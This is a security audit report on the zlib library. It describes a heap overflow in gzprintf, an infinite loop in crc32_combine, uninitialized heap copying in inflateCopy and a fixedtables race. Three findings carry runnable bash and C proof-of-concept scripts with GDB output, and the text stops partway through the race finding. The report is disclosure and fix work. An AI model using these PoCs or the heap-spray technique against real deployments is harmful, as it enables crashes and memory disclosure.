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Introduction   
“zlib is designed to be a free, general-purpose, legally unencumbered -- that is, not 
covered by any patents -- lossless data-compression library for use on virtually any 
computer hardware and operating system.” 

From https://zlib.net/zlib.html  
 
This document outlines the results of a whitebox security assessment of the zlib 
compression library. The engagement was solicited by the zlib maintainers, facilitated by 
the Open Source Technology Improvement Fund, Inc. (OSTIF), funded by the Sovereign 
Tech Agency, and executed by 7ASecurity during December 2025 and January 2026. 
The audit team dedicated 32 working days to complete this engagement. While prior 
public assessments of zlib exist, this exercise provides an up-to-date, independent 
review based on the agreed scope and methodology. 
 
During this iteration, the goal was to review the library as thoroughly as possible to 
provide zlib users with the best possible security. The methodology combined manual 
source code review with targeted, source-assisted runtime testing. Access was provided 
to the source code and relevant documentation. A team of 6 senior auditors carried out 
all tasks required for this engagement, including preparation, testing, documentation of 
findings, and ongoing communication. 
 
A number of necessary arrangements were in place by November 2025 to facilitate a 
straightforward commencement for 7ASecurity. Coordination was conducted via email as 
well as a shared Slack channel. The zlib maintainers were responsive throughout the 
engagement, which helped avoid unnecessary delays. Regular updates regarding audit 
status and interim findings were shared by the 7ASecurity team during the engagement. 
 
The audit was split across the following work packages: 

●​ WP1: Whitebox Tests against zlib Core 
●​ WP2: Whitebox Tests against zlib APIs, Streams & gzip Wrappers 
●​ WP3: Whitebox Tests against zlib Platform Optimizations & Assembly 
●​ WP4: zlib Build System & Hardening Review 
●​ WP5: zlib Supply Chain & Release Process Review 
●​ WP6: zlib Lightweight Threat Model 
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The findings of the security audit (WP1-WP4) can be summarized as follows: 

Identified Vulnerabilities Hardening Recommendations Total Issues 

5 5 10 
 
Please note the results of WP5 and WP6 are described in the following report sections: 

●​ WP5: zlib Supply Chain & Release Process Review 
●​ WP6: zlib Lightweight Threat Model 

 
Moving forward, the scope section elaborates on the items under review, while the 
findings section documents the identified vulnerabilities followed by hardening 
recommendations with lower exploitation potential. Each finding includes a technical 
description, a proof-of-concept (PoC) and/or steps to reproduce if required, plus 
mitigation or fix advice for follow-up actions by the development team. 
 
Finally, the report culminates with a conclusion providing detailed commentary, analysis, 
and guidance relating to the context, preparation, and general impressions gained 
throughout this test, as well as a summary of the perceived security posture of the zlib 
library. 
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About OSTIF 
 
The Open Source Technology Improvement Fund (OSTIF) is dedicated to resourcing 
and managing security engagements for open source software projects through 
partnerships with corporate, government, and non-profit donors. We bridge the gap 
between resources and security outcomes, while supporting and championing the open 
source community whose efforts underpin our digital landscape. 
 
Over the past ten years, OSTIF has been responsible for the discovery of over 800 
vulnerabilities, (121 of those being Critical/High), over 13,000 hours of security work, and 
millions of dollars raised for open source security. Maximizing output and security 
outcomes while minimizing labor and cost for projects and funders has resulted in 
partnerships with multi-billion dollar companies, top open source foundations, 
government organizations, and respected individuals in the space. Most importantly, we 
have helped over 120 projects and counting improve their security posture. 
 
Our directive is to support and enrich the open source community through providing 
public-facing security audits, educational resources, meetups, tooling, and advice. 
OSTIF’s experience positions us to be able to share knowledge of auditing with 
maintainers, developers, foundations, and the community to further secure our 
infrastructure in a sustainable manner. 
 
We are a small team working out of Chicago, Illinois. Our website is ostif.org. You can 
follow us on social media to keep up to date on audits, conferences, meetups, and 
opportunities with OSTIF, or feel free to reach out directly at contactus@ostif.org or our 
GitHub. 
 
Derek Zimmer, Executive Director 
Amir Montazery, Managing Director 
Helen Woeste, Communications and Community Manager 
Tom Welter, Project Manager 
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Scope 
 
The following list outlines the items included in scope for this engagement: 
 

●​ WP1 -  Whitebox Tests against zlib Core 
○​ https://github.com/madler/zlib/releases/tag/v1.3.1.2  
○​ Note: zlib is comprised only of the files at the top folder, while files in other 

folders, like the contrib folder, contains third party code that is not zlib and 
hence was out of scope for this assignment. 

●​ WP2 -  Whitebox Tests against zlib APIs, Streams & gzip Wrappers 
○​ As above 

●​ WP3 - Whitebox Tests against zlib Platform Optimizations & Assembly 
○​ As above 

●​ WP4 - zlib Build System & Hardening Review 
○​ Build and configuration files: https://github.com/madler/zlib/tree/develop 

●​ WP5 - zlib Supply Chain & Release Process Review 
○​ https://github.com/madler/zlib 
○​ https://github.com/madler/zlib/releases 

●​ WP6 - zlib Lightweight Threat Model & Abuse Scenarios 
○​ As above  
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Identified Vulnerabilities 
 
This area of the report enumerates findings that were deemed to exhibit greater risk 
potential. Please note these are offered sequentially as they were uncovered, they are 
not sorted by significance or impact. Each finding has a unique ID (i.e. ZLB-01-001) for 
ease of reference, and offers an estimated severity in brackets alongside the title. 

 
ZLB-01-001 WP2: Heap Buffer Overflow via Legacy gzprintf Implementation (High) 

 
Retest Notes: Resolved by zlib1, and verified by 7ASecurity. 
 
A heap-based buffer overflow vulnerability2 exists within the gzprintf family of functions 
(specifically in its internal helper gzvprintf and the legacy gzprintf implementation) in 
gzwrite.c when the library is compiled in a legacy configuration lacking C99 snprintf 
support. The implementation provides a compatibility fallback for environments where 
the NO_snprintf or NO_vsnprintf macros are defined. This fallback path utilizes vsprintf 
(or sprintf) to format user-supplied data directly into the internal state->in buffer without 
length enforcement. While the primary code path correctly utilizes vsnprintf to strictly 
limit the written data to the allocated buffer size tracked by state->size, the legacy 
fallback path entirely omits this boundary check. 
 
The vulnerability manifests because the internal buffer state->in is allocated based on 
the state->size parameter (physically allocated as state->want << 1, i.e., double the 
requested size). If an attacker controls the format string or the arguments passed to 
gzprintf, vsprintf will continue writing past the end of the buffer. If the output exceeds 
state->size but fits within the physical allocation (2 * state->size), internal state data may 
be corrupted. If the output exceeds the physical allocation (typically >16 KB), vsprintf will 
write past the end of the heap chunk. This corruption of heap metadata or adjacent 
memory structures leads to denial of service (DoS) and may enable remote code 
execution (RCE), depending on allocator behavior. 
 
This unsafe behavior contradicts the robust memory management practices observed 
elsewhere in the library. The code explicitly checks for the HAS_vsprintf_void macro to 
determine the return type of vsprintf but fails to address the fundamental security flaw of 
unbounded writes. Given that zlib is frequently deployed on embedded systems or 
legacy architectures where C99 support may be partial or disabled, this fallback path 
represents a significant latent risk. 
 
Note: This finding was discovered independently during this review. However, further 

2 https://cwe.mitre.org/data/definitions/122.html  
1 https://github.com/madler/zlib/commit/fd36638  
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analysis suggests this is the persistence of the vulnerability historically tracked as 
CVE-2003-01073. While the 2003 report focused on stack overflows in zlib v1.1.4, the 
root cause appears to be the same in the current heap-based implementation. This 
suggests that the historical remediation may have been environmental, relying on 
modern compiler behavior rather than a code-level mitigation, leaving the risky code 
path present in the codebase. 
 
The following PoC demonstrates the vulnerability by explicitly compiling the library in its 
legacy configuration (defining NO_vsnprintf and NO_snprintf). This forces gzprintf to 
utilize the unsafe vsprintf fallback. The code allocates a standard gzFile handle (typically 
~16 KB buffer) and attempts to write a 100 KB payload. This operation overflows the 
internal buffer, overwriting adjacent heap memory and chunk metadata. As shown in the 
GDB output below, the application crashes during gzclose when the memory allocator 
detects that the chunk size metadata has been corrupted with user-controlled data 
(0x4141...). 
 
PoC Script: 
#!/bin/bash​
set -e​
​
# 1. SETUP WORKSPACE (TEMPORARY)​
WORK_DIR=$(mktemp -d)​
echo "[*] Using temporary workspace: $WORK_DIR"​
​
# Cleanup function​
cleanup() {​
    echo "[*] Cleaning up workspace..."​
    rm -rf "$WORK_DIR"​
}​
trap cleanup EXIT​
​
cd "$WORK_DIR"​
​
echo "[*] Downloading zlib 1.3.1.2..."​
git clone --depth 1 --branch v1.3.1.2 https://github.com/madler/zlib.git​
cd zlib​
​
echo "[*] Compiling zlib with UNSAFE flags (-DNO_vsnprintf)..."​
# This forces zlib to use the legacy, unsafe vsprintf() implementation​
CFLAGS="-g -O0 -DNO_vsnprintf -DNO_snprintf" ./configure --static​
make > /dev/null​
​
# 2. CREATE THE EXPLOIT C CODE​
cat > ../poc.c << "EOF"​
#include <stdio.h>​
#include <string.h>​

3 https://nvd.nist.gov/vuln/detail/cve-2003-0107  
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#include <stdlib.h>​
#include "zlib.h"​
​
// Default zlib buffer is often 16KB (Z_DEFAULT_CHUNK).​
// We send 100KB to guarantee we smash the heap metadata and adjacent chunks.​
#define PAYLOAD_SIZE 100000​
​
int main() {​
    // 1. Prepare Payload​
    char *large_buffer = (char *)malloc(PAYLOAD_SIZE + 1);​
    if (!large_buffer) {​
        perror("[-] Malloc failed");​
        return 1;​
    }​
    memset(large_buffer, 'A', PAYLOAD_SIZE);​
    large_buffer[PAYLOAD_SIZE] = '\0';​
​
    printf("[*] Payload prepared: %d bytes\n", PAYLOAD_SIZE);​
​
    // 2. Open dummy file​
    // We use /dev/null; we only care about the memory corruption in the buffer.​
    gzFile file = gzopen("/dev/null", "wb");​
    if (!file) {​
        perror("[-] gzopen failed");​
        free(large_buffer);​
        return 1;​
    }​
    printf("[*] gzopen successful. Internal heap buffer allocated.\n");​
​
    // 3. Trigger Vulnerability​
    // When NO_vsnprintf is defined, gzprintf uses vsprintf (unsafe).​
    // It blindly copies our 100KB buffer into the internal ~16KB buffer.​
    printf("[*] Triggering unbounded gzprintf... (Expect SIGABRT/Crash)\n");​
    ​
    // The "%s" format forces the library to expand the string into its buffer.​
    gzprintf(file, "%s", large_buffer);​
​
    printf("[-] If you see this, the application did not crash immediately.\n");​
    printf("[-] The heap is likely corrupted, crash might happen on gzclose.\n");​
​
    gzclose(file);​
    free(large_buffer);​
    return 0;​
}​
EOF​
​
# 3. COMPILE AND RUN​
echo "[*] Compiling PoC..."​
# Link against the local static zlib we just built​
gcc -g -O0 -o poc ../poc.c -L. -lz​
​
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echo "[*] Running PoC under GDB..."​
echo "----------------------------------------------------------------"​
​
# Run GDB directly. ​
# It will run the program, wait for the crash, print the backtrace, and exit.​
gdb -q ./poc -ex run -ex bt -ex quit 

 
Command: 
bash poc.sh 

 
Output: 
[*] Using temporary workspace: /tmp/tmp.8Fp4i7mWWg 

[*] Downloading zlib 1.3.1.2... 

[...] 

[*] Compiling PoC... 

[*] Running PoC under GDB... 

[...] 

[*] Payload prepared: 100000 bytes 

[*] gzopen successful. Internal heap buffer allocated. 

[*] Triggering unbounded gzprintf... (Expect SIGABRT/Crash) 

[-] If you see this, the application did not crash immediately. 

[-] The heap is likely corrupted, crash might happen on gzclose. 

double free or corruption (out) 

[...] 

─── code:x86:64 ──── 
   0x7ffff7c9eb23 <pthread_kill+275> mov    edi, eax 

   0x7ffff7c9eb25 <pthread_kill+277> mov    eax, 0xea 

   0x7ffff7c9eb2a <pthread_kill+282> syscall  

 → 0x7ffff7c9eb2c <pthread_kill+284> mov    r14d, eax 

   0x7ffff7c9eb2f <pthread_kill+287> neg    r14d 

   0x7ffff7c9eb32 <pthread_kill+290> cmp    eax, 0xfffff000 

   0x7ffff7c9eb37 <pthread_kill+295> mov    eax, 0x0 

   0x7ffff7c9eb3c <pthread_kill+300> cmovbe r14d, eax 

   0x7ffff7c9eb40 <pthread_kill+304> jmp    0x7ffff7c9eac0 <__GI___pthread_kill+176> 

───────────────────────────────────────────────────────────────────
───────────────────────────────────────────────────────────────────
───────────────────────────────────────────────────────────────────
───────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────── threads ──── 
[#0] Id 1, Name: "poc", stopped 0x7ffff7c9eb2c in __pthread_kill_implementation (), 

reason: SIGABRT 

───────────────────────────────────────────────────────────────────
──────────── 
[...] 

#0  __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=<optimized out>) at 

./nptl/pthread_kill.c:44 

#1  __pthread_kill_internal (signo=0x6, threadid=<optimized out>) at 

./nptl/pthread_kill.c:78 

#2  __GI___pthread_kill (threadid=<optimized out>, signo=signo@entry=0x6) at 

./nptl/pthread_kill.c:89 
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#3  0x00007ffff7c4527e in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26 

#4  0x00007ffff7c288ff in __GI_abort () at ./stdlib/abort.c:79 

#5  0x00007ffff7c297b6 in __libc_message_impl (fmt=fmt@entry=0x7ffff7dce8d7 "%s\n") at 

../sysdeps/posix/libc_fatal.c:134 

#6  0x00007ffff7ca8ff5 in malloc_printerr (str=str@entry=0x7ffff7dd1ac0 "double free or 

corruption (out)") at ./malloc/malloc.c:5772 

#7  0x00007ffff7cab120 in _int_free_merge_chunk (av=0x7ffff7e03ac0 <main_arena>, 

p=0x555555591e80, size=0x4141414141414140) at ./malloc/malloc.c:4676 

#8  0x00007ffff7caddae in __GI___libc_free (mem=0x555555591e90) at 

./malloc/malloc.c:3398 

#9  0x0000555555558679 in gzclose_w (file=0x55555558dd60) at gzwrite.c:621 

#10 0x000055555555557c in gzclose (file=0x55555558dd60) at gzclose.c:19 

#11 0x000055555555551b in main () at ../poc.c:45 

[*] Cleaning up workspace... 

 
Affected File: 
https://github.com/madler/zlib/[...]/gzwrite.c 
 
Affected Code: 
#if defined(STDC) || defined(Z_HAVE_STDARG_H)​
#include <stdarg.h>​
​
/* -- see zlib.h -- */​
int ZEXPORTVA gzvprintf(gzFile file, const char *format, va_list va) {​
[...]​
#ifdef NO_vsnprintf​
#  ifdef HAS_vsprintf_void​
    (void)vsprintf(next, format, va);​
    for (len = 0; len < state->size; len++)​
        if (next[len] == 0) break;​
#  else​
    len = vsprintf(next, format, va);​
#  endif​
[...]​
}​
​
int ZEXPORTVA gzprintf(gzFile file, const char *format, ...) {​
    va_list va;​
    int ret;​
​
    va_start(va, format);​
    ret = gzvprintf(file, format, va);​
    va_end(va);​
    return ret;​
}​
​
#else /* !STDC && !Z_HAVE_STDARG_H */​
​
/* -- see zlib.h -- */​
int ZEXPORTVA gzprintf(gzFile file, const char *format, int a1, int a2, int a3,​
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                       int a4, int a5, int a6, int a7, int a8, int a9, int a10,​
                       int a11, int a12, int a13, int a14, int a15, int a16,​
                       int a17, int a18, int a19, int a20) {​
[...]​
#ifdef NO_snprintf​
#  ifdef HAS_sprintf_void​
    sprintf(next, format, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12,​
            a13, a14, a15, a16, a17, a18, a19, a20);​
    for (len = 0; len < size; len++)​
        if (next[len] == 0)​
            break;​
#  else​
    len = sprintf(next, format, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11,​
                  a12, a13, a14, a15, a16, a17, a18, a19, a20);​
#  endif​
[...]​
}​
#endif 
 
It is recommended to remove the unsafe vsprintf fallback mechanism or implement a 
manual length check prior to writing data. If the target platform does not support snprintf, 
the library should explicitly truncate the input or return an error rather than risking 
memory corruption. Reliance on the user to manually limit format string expansion length 
is unsafe and inconsistent with the guarantees provided by the rest of the gz* API 
surface. 
 

ZLB-01-002 WP1: Infinite Loop via Arithmetic Shift in crc32_combine64 (Medium) 
 
Retest Notes: Resolved by zlib4, and verified by 7ASecurity. 
 
An infinite loop vulnerability5 exists in the crc32_combine64 and crc32_combine_gen64 
functions due to the lack of input validation for the signed length parameter. These 
functions accept a z_off64_t len2 argument, which is a signed 64-bit integer, and pass it 
directly to the internal helper function x2nmodp without checking for negativity. The 
helper function x2nmodp utilizes a while (n) loop that iterates as long as the value is 
non-zero, updating the value via the right shift operator n >>= 1 in each iteration. On 
many modern architectures, right-shifting a negative signed integer is implemented as 
an arithmetic shift which preserves the sign bit, although this behavior is 
implementation-defined by the C standard. Consequently, if a negative len2 is passed, 
the value n will eventually converge to -1 (all bits set to 1) and remain -1 indefinitely 
despite the shift operations, causing the loop condition to remain true forever and 
resulting in a DoS via 100% CPU consumption. 
 

5 https://cwe.mitre.org/data/definitions/835.html  
4 https://github.com/madler/zlib/commit/ba829a4  
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This behavior represents a significant deviation from the safety standards established 
elsewhere in the zlib codebase. Specifically, the parallel function adler32_combine_ 
contains an explicit safeguard against this exact scenario6. It demonstrates that the 
library developers intentionally handle negative lengths by returning a distinct error value 
rather than allowing undefined behavior or infinite execution. The absence of this check 
in crc32.c creates an architectural inconsistency where identical input types (signed 
z_off64_t) result in safe error handling in one module but a fatal hang in another module. 
Furthermore, zlib is frequently embedded in diverse environments, including high-level 
language runtimes and firmware, via direct source copying or bindings. In these 
contexts, relying entirely on caller-side sanitization is unsafe, as a simple integer 
underflow can escalate from a logic error to a complete thread lockup within the library. 
The library functions exposed via zlib.h should maintain internal consistency regarding 
input safety to prevent such DoS vectors. 
 
Note: This finding was discovered independently during this review. However, further 
analysis suggests this identifies the root cause of the behavior previously reported in zlib 
issue #9047, which was dismissed at the time as caller-side error mishandling. While that 
prior report focused narrowly on gzoffset return values, this analysis demonstrates a 
fundamental vulnerability in the x2nmodp helper function that affects multiple public API 
endpoints (crc32_combine64, crc32_combine_gen64) and exposes systems to DoS. 
The explicit negative-length check in the parallel adler32 implementation confirms that 
the omission here is an architectural inconsistency rather than a design choice, leaving 
the library vulnerable to infinite loops when signed types are mishandled. 
 
The following PoC demonstrates the DoS vulnerability by invoking crc32_combine with a 
negative length parameter (-1337). The script compiles the test C code and executes it 
wrapped in the system timeout utility. Because the internal x2nmodp helper performs 
right-shifts on the signed negative integer without a termination condition for negative 
values, the loop never terminates (converging on -1 due to arithmetic shifting). The 
timeout utility detects this hang and kills the process after 3 seconds, returning exit code 
124, which confirms the infinite loop. 
 
PoC Script: 
#!/bin/bash​
set -e​
​
# 1. SETUP WORKSPACE (TEMPORARY)​
WORK_DIR=$(mktemp -d)​
echo "[*] Using temporary workspace: $WORK_DIR"​
​
cleanup() {​

7 https://github.com/madler/zlib/issues/904  
6 https://github.com/madler/zlib/[...]/adler32.c#L139-L140  

7ASecurity © 2026 
            13 

https://github.com/madler/zlib/issues/904
https://github.com/madler/zlib/blob/570720b0c24f9686c33f35a1b3165c1f568b96be/adler32.c#L139-L140
https://7asecurity.com


Pentest Report 

    echo "[*] Cleaning up workspace..."​
    rm -rf "$WORK_DIR"​
}​
trap cleanup EXIT​
​
cd "$WORK_DIR"​
​
echo "[*] Downloading zlib 1.3.1.2..."​
git clone --depth 1 --branch v1.3.1.2 https://github.com/madler/zlib.git​
cd zlib​
​
echo "[*] Compiling zlib (static, no optimizations)..."​
# We compile with default flags; the vulnerability relies on standard signed shift 

behavior.​
CFLAGS="-g -O0" ./configure --static​
make > /dev/null​
​
# 2. CREATE THE EXPLOIT C CODE​
cat > ../poc.c << "EOF"​
#include <stdio.h>​
#include <stdlib.h>​
#include "zlib.h"​
​
int main() {​
    printf("[*] Preparing to trigger infinite loop in crc32_combine...\n");​
​
    uLong crc1 = crc32(0L, Z_NULL, 0);​
    uLong crc2 = crc32(0L, Z_NULL, 0);​
​
    // The vulnerability exists because the internal helper x2nmodp receives ​
    // a z_off64_t (signed) and shifts it right in a while loop. ​
    // If negative, arithmetic shift preserves the sign bit (on standard x86/ARM),​
    // causing the value to converge to -1 and loop infinitely.​
    z_off_t len2 = -1337; ​
​
    printf("[*] Invoking crc32_combine(crc1, crc2, len2=%ld)...\n", (long)len2);​
    printf("[!] The program should HANG now (infinite loop).\n");​
    ​
    // Flush stdout to ensure we see the message before the CPU lockup​
    fflush(stdout);​
​
    // This function call will never return if the vulnerability is present​
    uLong result = crc32_combine(crc1, crc2, len2);​
​
    printf("[-] Failed: Function returned! Result: %lu\n", result);​
    return 0;​
}​
EOF​
​
# 3. COMPILE AND RUN​
echo "[*] Compiling PoC..."​
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gcc -o poc ../poc.c -I. -L. -lz​
​
echo "[*] Running PoC with 3 second timeout..."​
echo "----------------------------------------------------------------"​
​
# We use 'set +e' because we EXPECT the timeout command to 'fail' (exit code 124)​
set +e​
# Run the PoC with a hard limit of 3 seconds.​
timeout 3s ./poc​
RET=$?​
set -e​
​
echo "----------------------------------------------------------------"​
​
# Check exit code​
if [ $RET -eq 124 ]; then​
    echo ""​
    echo "[!!!] VULNERABILITY CONFIRMED [!!!]"​
    echo "The process hung and was killed by timeout (Exit Code 124)."​
    echo "This confirms the infinite loop in crc32_combine."​
elif [ $RET -eq 0 ]; then​
    echo "[-] The program finished normally. Vulnerability NOT triggered."​
else​
    echo "[-] The program crashed or exited with unexpected error code $RET."​
fi 
 
Command: 
bash poc.sh 

 
Output: 
[*] Using temporary workspace: /tmp/tmp.7tFho5DvkA 

[*] Downloading zlib 1.3.1.2.. 

[...] 

[*] Compiling zlib (static, no optimizations)... 

Checking for gcc... 

Building static library libz.a version 1.3.1 with gcc. 

Checking for size_t... Yes. 

Checking for off64_t... Yes. 

Checking for fseeko... Yes. 

Checking for strerror... Yes. 

Checking for unistd.h... Yes. 

Checking for stdarg.h... Yes. 

Checking whether to use vs[n]printf() or s[n]printf()... using vs[n]printf(). 

Checking for vsnprintf() in stdio.h... Yes. 

Checking for return value of vsnprintf()... Yes. 

Checking for attribute(visibility) support... Yes. 

[*] Compiling PoC... 

[*] Running PoC with 3 second timeout... 

---------------------------------------------------------------- 

[*] Preparing to trigger infinite loop in crc32_combine... 
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[*] Invoking crc32_combine(crc1, crc2, len2=-1337)... 

[!] The program should HANG now (infinite loop). 

---------------------------------------------------------------- 

[!!!] VULNERABILITY CONFIRMED [!!!] 

The process hung and was killed by timeout (Exit Code 124). 

This confirms the infinite loop in crc32_combine. 

[*] Cleaning up workspace... 

 
Affected File: 
https://github.com/madler/zlib/[...]/crc32.c  
 
Affected Code: 
local z_crc_t x2nmodp(z_off64_t n, unsigned k) {​
    z_crc_t p;​
    p = (z_crc_t)1 << 31;​
    while (n) {​
        if (n & 1)​
            p = multmodp(x2n_table[k & 31], p);​
        n >>= 1;​
        k++;​
    }​
    return p;​
} 
 
The developers must align the implementation of crc32_combine64 and 
crc32_combine_gen64 in crc32.c with the established safety pattern found in 
adler32_combine_. A sanity check should be inserted at the entry of these functions to 
verify that len2 is non-negative. If len2 is negative, the function should immediately 
return a fallback constant or error indicator, mirroring the logic currently present in 
adler32.c. This ensures the library remains robust against signed integer misuse and 
prevents DoS conditions regardless of the caller implementation quality. 
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ZLB-01-003 WP1: Heap Leak via Uninitialized Memory in inflateCopy (Low) 
 
Retest Notes: Resolved by zlib89, and verified by 7ASecurity. 
 
An information disclosure vulnerability10 exists in the inflateCopy function within inflate.c. 
This function is responsible for cloning the decompression state of a z_stream, including 
the sliding-window buffer used for history. The implementation correctly allocates a new 
window buffer of size wsize (typically 32 KB) for the destination stream. However, when 
populating this buffer, the function performs a zmemcpy of the entire wsize from the 
source window to the destination window. 
 
This copy operation ignores the whave counter, which tracks the actual amount of valid, 
initialized data present in the source window. In scenarios where the source stream has 
not yet filled the sliding window (that is, whave < wsize), the memory region from index 
whave to wsize contains uninitialized data because zcalloc uses malloc (not calloc) on 
modern systems. Since malloc does not zero-initialize memory, the window buffer may 
contain residual heap data from the process history. By unconditionally copying the full 
window size, inflateCopy propagates this uninitialized heap data into the destination 
stream structure. 
 
While the uninitialized data is not directly exposed through standard zlib output stream 
(due to internal bounds checking via whave), it persists within process memory and may 
become observable if the destination stream state is serialized, logged, or inspected 
through debugging or other interfaces. This can facilitate heap analysis or grooming 
when a secondary arbitrary-read capability exists, or when process memory dumps are 
accessible. 
 
Note: This finding highlights a specific security failure in the zlib performance-driven 
decision to utilize malloc without initialization. While the zlib FAQ and community 
discussions have historically categorized uninitialized memory warnings as benign “false 
positives” (often advising developers to suppress them in tools such as Valgrind11), this 
analysis demonstrates that inflateCopy actively propagates residual heap data into the 
destination structure, elevating a “known quirk” into a verifiable heap disclosure 
vulnerability similar to the issue reported in 201412. 
 
The following PoC demonstrates the propagation of uninitialized heap data by first 
populating the heap with a known pattern (SECRET_DATA) and freeing it for reuse. It 
then initializes a source zlib stream for raw deflate (using inflateInit2 with −15 to bypass 

12 https://j00ru.vexillium.org/2014/04/a-case-of-a-curious-libtiff-4-0-3-zlib-1-2-8-memory-disclosure/  
11 https://zlib.net/zlib_faq.html#faq36  
10 https://cwe.mitre.org/data/definitions/908.html  
9 https://github.com/madler/zlib/commit/ecbaf03  
8 https://github.com/madler/zlib/commit/3509ab5  
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header checks) and performs a partial inflation of a minimal block. This allocates a 32 
KB sliding window from previously used heap memory but writes valid data only to the 
first few bytes. The vulnerability is triggered by calling inflateCopy, to unconditionally 
memcpy the entire 32 KB window to the destination stream, carrying over the 
uninitialized data. The PoC then inspects the internal state of the destination stream to 
confirm the presence of the secret pattern. 
 
PoC Script: 
#!/bin/bash​
set -e​
​
# 1. SETUP WORKSPACE (TEMPORARY)​
WORK_DIR=$(mktemp -d)​
echo "[*] Using temporary workspace: $WORK_DIR"​
​
# Ensure cleanup happens on exit (success or failure)​
cleanup() {​
    echo "[*] Cleaning up workspace..."​
    rm -rf "$WORK_DIR"​
}​
trap cleanup EXIT​
​
cd "$WORK_DIR"​
​
echo "[*] Downloading zlib 1.3.1.2..."​
git clone --depth 1 --branch v1.3.1.2 https://github.com/madler/zlib.git​
cd zlib​
​
echo "[*] Compiling zlib (static, no optimizations)..."​
CFLAGS="-g -O0" ./configure --static​
make > /dev/null​
 

# 2. CREATE THE EXPLOIT C CODE​
cat > ../poc.c << "EOF"​
#include <stdio.h>​
#include <string.h>​
#include <stdlib.h>​
#include <ctype.h>​
#include "zlib.h"​
​
/* INTERNAL STRUCT MIRROR (x86_64) */​
typedef struct {​
    z_streamp strm; int mode; int last; int wrap; int havedict; int flags;​
    unsigned dmax; unsigned long check; unsigned long total; void *head;​
    unsigned wbits; unsigned wsize; unsigned whave; unsigned wnext;​
    unsigned char *window; /* The target pointer */​
} mimic_inflate_state;​
​
#define WINDOW_SIZE 32768​
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#define SECRET_STRING "SECRET_DATA"​
​
int main() {​
    printf("[*] 1. Heap Spraying...\n");​
    ​
    // Allocate the chunk we want zlib to reuse​
    char *poison = (char *)malloc(WINDOW_SIZE);​
    if (!poison) return 1;​
    ​
    // FILL THE ENTIRE BUFFER with the secret to ensure we catch it​
    // regardless of where zlib starts writing valid data.​
    for (int i = 0; i < WINDOW_SIZE - 20; i += 20) {​
        memcpy(poison + i, SECRET_STRING, strlen(SECRET_STRING));​
    }​
    ​
    // Free it -> goes to heap free list​
    free(poison);​
​
    printf("[*] 2. Triggering Vulnerability...\n");​
    z_stream strm_src;​
    memset(&strm_src, 0, sizeof(strm_src));​
    ​
    // Use -15 for RAW deflate (no header check)​
    if (inflateInit2(&strm_src, -15) != Z_OK) return 1;​
​
    // Tiny inflate to make the stream "active"​
    unsigned char compressed[] = {0x63, 0x60}; // Empty fixed block​
    unsigned char out_buf[128];​
    strm_src.next_in = compressed;​
    strm_src.avail_in = sizeof(compressed);​
    strm_src.next_out = out_buf;​
    strm_src.avail_out = sizeof(out_buf);​
    inflate(&strm_src, Z_NO_FLUSH);​
​
    // COPY THE STREAM (The Bug)​
    z_stream strm_dst;​
    memset(&strm_dst, 0, sizeof(strm_dst));​
    if (inflateCopy(&strm_dst, &strm_src) != Z_OK) return 1;​
​
    printf("[*] 3. Verifying Leak...\n");​
    mimic_inflate_state *state = (mimic_inflate_state *)strm_dst.state;​
    unsigned char *win = state->window;​
​
    if (!win) { printf("[-] No window.\n"); return 1; }​
​
    // Look for our secret​
    char *found = NULL;​
    // We skip the first 100 bytes to avoid the valid data zlib wrote​
    for(int i = 100; i < WINDOW_SIZE - 20; i++) {​
        if (memcmp(win + i, SECRET_STRING, strlen(SECRET_STRING)) == 0) {​
            found = (char*)(win + i);​
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            break;​
        }​
    }​
​
    if (found) {​
        printf("\n[!!!] VULNERABILITY CONFIRMED [!!!]\n");​
        printf("Leaked content found at offset %ld: %.15s...\n", found - (char*)win, 

found);​
        printf("This proves inflateCopy() copied uninitialized heap memory.\n");​
    } else {​
        printf("[-] Secret not found (heap noise).\n");​
    }​
​
    inflateEnd(&strm_src);​
    inflateEnd(&strm_dst);​
    return 0;​
}​
EOF​
 

# 3. COMPILE AND RUN​
echo "[*] Running PoC..."​
gcc -o poc ../poc.c -I. -L. -lz​
./poc 
 
Command: 
bash poc.sh 

 
Output: 
[*] Using temporary workspace: /tmp/tmp.asLxLnyhhI 

[*] Downloading zlib 1.3.1.2... 

[...] 

[*] Compiling zlib (static, no optimizations)... 

Checking for gcc... 

Building static library libz.a version 1.3.1 with gcc. 

Checking for size_t... Yes. 

Checking for off64_t... Yes. 

Checking for fseeko... Yes. 

Checking for strerror... Yes. 

Checking for unistd.h... Yes. 

Checking for stdarg.h... Yes. 

Checking whether to use vs[n]printf() or s[n]printf()... using vs[n]printf(). 

Checking for vsnprintf() in stdio.h... Yes. 

Checking for return value of vsnprintf()... Yes. 

Checking for attribute(visibility) support... Yes. 

[*] Running PoC... 

[*] 1. Heap Spraying... 

[*] 2. Triggering Vulnerability... 

[*] 3. Verifying Leak... 

 

[!!!] VULNERABILITY CONFIRMED [!!!] 
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Leaked content found at offset 112: SECRET_DATA... 

This proves inflateCopy() copied uninitialized heap memory. 

[*] Cleaning up workspace... 

 
Affected File: 
https://github.com/madler/zlib/[...]/inflate.c  
 
Affected Code: 
int ZEXPORT inflateCopy(z_streamp dest, z_streamp source) {​
    struct inflate_state FAR *state;​
    struct inflate_state FAR *copy;​
    unsigned char FAR *window;​
    unsigned wsize;​
    [...]​
    if (window != Z_NULL) {​
        wsize = 1U << state->wbits;​
        zmemcpy(window, state->window, wsize);​
    }​
    copy->window = window;​
    dest->state = (struct internal_state FAR *)copy;​
    return Z_OK;​
} 
 
The developers must modify inflateCopy to limit the memory copy to valid data (whave) 
rather than the full window size. Any remaining buffer space should be explicitly 
zero-initialized to prevent propagation of residual heap data. 
 

ZLB-01-004 WP1: Persistent DoS via Race Condition in fixedtables (Medium) 
 
Retest Notes: Resolved by zlib13, and verified by 7ASecurity. 
 
A race condition14 exists in the fixedtables function within inflate.c (and its counterpart in 
infback.c) when the library is compiled with the -DBUILDFIXED option. This 
configuration minimizes code size by generating Huffman tables at runtime using a lazy 
initialization pattern backed by a static int virgin flag and static arrays. 
 
However, this initialization block lacks thread synchronization. In a multi-threaded 
application, if multiple threads concurrently process their first compressed stream 
containing a fixed-Huffman block (via inflate -> fixedtables), a race occurs. One thread 
may set the virgin flag to 0 while another is still writing to the fixed array, or multiple 
threads may corrupt the array by writing simultaneously. 
 
